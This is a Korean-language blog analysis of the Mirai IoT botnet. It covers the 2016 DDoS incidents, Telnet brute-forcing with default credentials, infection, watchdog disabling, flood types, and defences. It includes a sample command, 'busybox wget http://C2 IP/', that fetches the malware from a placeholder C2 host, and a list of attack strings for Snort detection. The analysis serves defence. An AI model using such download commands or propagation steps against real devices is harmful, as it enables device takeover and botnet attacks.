2016.09.13 - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18 - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30 - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개
- 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21 - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단)
- Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비

- 웜 계열의 DDoS 공격 유발 악성코드

- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드

감염 대상 설명
IoT 기기 - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용
- 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐
- 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.

* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위

- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포

기능 설명
스캔 - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용
- 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파 - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복
- 감염 장비를 확보함으로써 봇넷 형성

* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음
- 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- 명령 예제 : busybox wget http://C2 IP/
DDoS - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행
- HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지 - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지
- 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함

※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타 - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능
- 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행
- GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음
- 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼

 

2. 분석

 

GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

Leaked Mirai Source Code for Research/IoC Development Purposes - GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

github.com

[그림 2] 동작 원리

- Mirai의 동작원리는 [그림 2] 및 다음과 같음

① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행

 

① 스캔

- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재

[그림 3] 랜덤 목적지 IP 설정

 

- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정

[그림 4] 랜덤 Src Port 생성 및 Dst Port 23

 

- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼

- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측

[그림 5] 62개의 계정으로 접속 시도

 

② 악성코드 유포

[그림 6] 악성코드 유포

- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입

- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행

- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재

[그림 7] busybox

 

③ 감염

- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨

- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재

- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴

[그림 8] watchdog 비활성화

- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정

[그림 9] 프로세스 종료

 

④ 유포

- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복

 

⑤ 봇넷 형성

- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성

- 이후 C2 서버 명령 대기

 

⑥ DDoS

[그림 10] DDoS 공격

- Bot Net을 통해 대상 서버에 DDoS 공격을 수행 

프로토콜 종류
TCP SYN, RST, FIN, ACK, PSH Flooding
UDP DNS, ICMP, VSE Flooding
HTTP GET, POST, HEAD Flooding
GRE GRE Flooding

 

3. 대응 방안

[그림 11] shodan port:23

- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표

- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음

- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요

 

3.1 네트워크 측면

① 네트워크 연결 차단

② 포트 점검 및 모니터링

③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링

 

3.2 사용자 측면

① 초기 ID/PW를 사용하지않고 변경하여 사용

② IoT 기기의 최신 업데이트 적용 및 보안성 점검

 

3.3 기타

① IoT 기기 초기화

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

+ Recent posts